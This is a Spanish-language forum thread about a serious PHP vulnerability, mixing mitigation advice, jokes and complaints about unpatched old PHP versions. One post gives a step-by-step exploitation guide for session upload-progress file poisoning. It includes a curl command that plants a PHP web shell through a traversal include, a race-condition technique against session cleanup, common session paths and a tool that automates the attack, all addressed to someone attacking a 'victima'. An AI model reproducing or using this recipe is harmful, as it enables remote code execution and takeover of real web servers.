Vulnerabilidad MUY grave de PHP
- Autor del tema calopez
- Fecha de inicio
RESUMEN DEL DEBATE · elaborado con IA
Una vulnerabilidad de PHP calificada de muy grave obliga a actualizar hoy mismo. El aviso circula desde primera hora: la actualización se publica a las 16:00 y, según se advierte, el fallo ya está siendo explotado. No es un ejercicio teórico de laboratorio.
euriborfree
echo $titulo;
Puede ser mitigado cambiando esto en el php.ini
session.upload_progress.enabled = Off
esto desactiva las subidas pogre pero es un mal menor hasta que salga la actualizacion, el fallo ya esta siendo explotado
session.upload_progress.enabled = Off
esto desactiva las subidas pogre pero es un mal menor hasta que salga la actualizacion, el fallo ya esta siendo explotado
Minsky Moment
Será en Octubre
(enlace visible para usuarios registrados)
Cuchillo de palo
Enviado de CALOPEZ
emos sido bendesidos
esteforoapesta
letrina.info apesta
- Desde
- 29 Sep 2024
- Mensajes
- 1.978
- Fruta
- 7.571
Aplicando el parche
De cinta aislante
(imagen visible para usuarios registrados)
De cinta aislante
(imagen visible para usuarios registrados)
SrPurpuron
Gñé
- Desde
- 14 Dic 2020
- Mensajes
- 11.696
- Fruta
- 15.581
No hay quien pueda con el ZX Spectrumzx de nuestro Lidl. Oh alabado sea!
Vale, en román paladino:
Qué es session.upload_progress
- Es una función de PHP que, desde hace años, permite crear una sesión temporal para cada subida de fichero, de modo que el front-end pueda consultar el pogre mientras el archivo se está enviando.
- El problema: para hacer eso, PHP crea el fichero de sesión sin que el usuario esté autenticado. Basta un POST con el campo adecuado para que el servidor te escriba un fichero de sesión con contenido que tú controlas, en un directorio del que él se fía.
- Ese fichero de sesión normalmente es contenido inofensivo. Pero si la web tiene cualquier inclusión local (LFI, un include con parámetro, un plugin viejo de WordPress, un unserialize mal puesto), ese fichero pasa de residuo a ejecución de código. Es el clásico session file poisoning.
- Desactivar esa opción no arregla el fallo: cierra uno de los caminos para llegar a él. El agujero de verdad está en el core y se tapa con el parche que sale hoy.
Lo de Cloudflare
Una regla en el WAF solo protege a quien enruta el tráfico por ahí. Todo lo que tenga la IP del origen expuesta, APIs internas, subdominios sin proxy, o quien se salte el CDN, sigue expuesto. Es el equivalente al parche de cinta aislante: aguanta hasta que alguien aprieta.
Lo de octubre
Octubre no arregla nada, octubre solo cambia el titular. Llevamos años con la misma cantinela de la fecha mágica y aquí seguimos, actualizando a las 23:59 como los profesionales.
Y sí, con estas cosas el lonchafinismo digital es lo único sensato: off por defecto, actualizar hoy, y mañana Dios dirá.
(adjunto visible para usuarios registrados)
TibioSocialDemócrata
Madmaxista
- Desde
- 27 May 2020
- Mensajes
- 4.853
- Fruta
- 20.945
se va a liar parda. Solo parche para la 8. Aunque la <8 estén fuera de soporte, millones tendrán apps corriendo 7, hasta 5 porque tienen webs viejas que fallan si se actualizan a 8 y era un trabajazo actualizarlas y se han quedado ahí funcionando.
Para esto deberían haber publicado un parche.
Para esto deberían haber publicado un parche.
Clorhídrico
Madmaxista
- Desde
- 1 Ene 2018
- Mensajes
- 5.844
- Fruta
- 23.286
Este mensaje y otros no están disponibles para visitantes. Regístrate para leerlo.
Cuchillo de palo
Enviado de CALOPEZ
jaja brvtal la foto. como la vida misma
Lo primero: no es una vulnerabilidad de click-y-listo tipo "escribe la URL y pumba". Es una cadena. Tú solo tienes que camelarte dos de los tres eslabones:
1. Ver que la función está viva
session.upload_progress.enabled viene en On por defecto en casi todo PHP. Compara con un phpinfo() filtrado, un ?phpinfo=1, o directamente lánzale un multipart con el campo y mira si te responde distinto. No necesita autenticación.2. Controlar el nombre del fichero de sesión
El servidor te crea un fichero
sess_XXXX en el directorio de sesiones y mete dentro lo que tú pongas en PHP_SESSION_UPLOAD_PROGRESS. Como puedes fijar la cookie PHPSESSID, controlas el nombre. Mientras esté la petición viva, el fichero existe y es tuyo.
Bash:
curl -s -X POST 'https://victima/index.php?page=../../../../var/lib/php/sessions/sess_racemepwn' \
-H 'Cookie: PHPSESSID=racemepwn' \
-F 'PHP_SESSION_UPLOAD_PROGRESS=<?php system($_GET["c"]); ?>' \
-F 'file=@/tmp/relleno.bin'3. La carrera
upload_progress.cleanup viene en On: en cuanto la petición termina, PHP borra el fichero. Si incluyes después, te comes un 404. Por eso se manda un cuerpo enorme a propósito para que la subida dure segundos, y se meten includes en bucle con otro hilo. Ahí ganas.Rutas sospechosas de siempre:
/var/lib/php/sessions/, /tmp/, y en instalaciones de guano tipo XAMPP o cPanel lo que toque según versión.Dato que se olvida: lo que metas dentro no va pelado. El fichero queda como
upload_progress_XXXX|a:5:{...s:4:"name";s:20:"<?php ... ?>";...}. Por eso sirve tanto el valor del campo como el nombre del fichero. Y si el parseo con el handler php te rompe por el |, mete el payload en el nombre del fichero subido en vez del campo.Atajo: php2shell.aikido.io es exactamente esto empaquetado. Le pones la URL, te detecta versión, te prueba las rutas y te hace el flood con la petición colgada. Para validar en un rato vale; para entender qué pasa, scripts tú mismo o no aprendes nada.
Recuerda que sin un include local (un
?page=, un plugin viejo de WordPress, un PHPMyAdmin) esto no come. Y ojo con el falso positivo más típico: si el include valida extensión o hace strip, el sess_ no tiene .php y te comes el fichero como texto. Ahí el chapapote no se ejecuta y algunos "escáneres" aún te lo pintan en verde.(adjunto visible para usuarios registrados)
Clorhídrico
Madmaxista
- Desde
- 1 Ene 2018
- Mensajes
- 5.844
- Fruta
- 23.286
(enlace visible para usuarios registrados)
TibioSocialDemócrata
Madmaxista
- Desde
- 27 May 2020
- Mensajes
- 4.853
- Fruta
- 20.945
ya han sacado parche para versiones antiguas, mi vieja app con php 7.1 a salvo 
John Smmith
¿Y tu que miras?
- Desde
- 27 Nov 2019
- Mensajes
- 15.947
- Fruta
- 74.199
Funciona en Cobol. Es muy difícil de acceso no autorizado. Ya no queda nadie vivo capaz de hacerlo.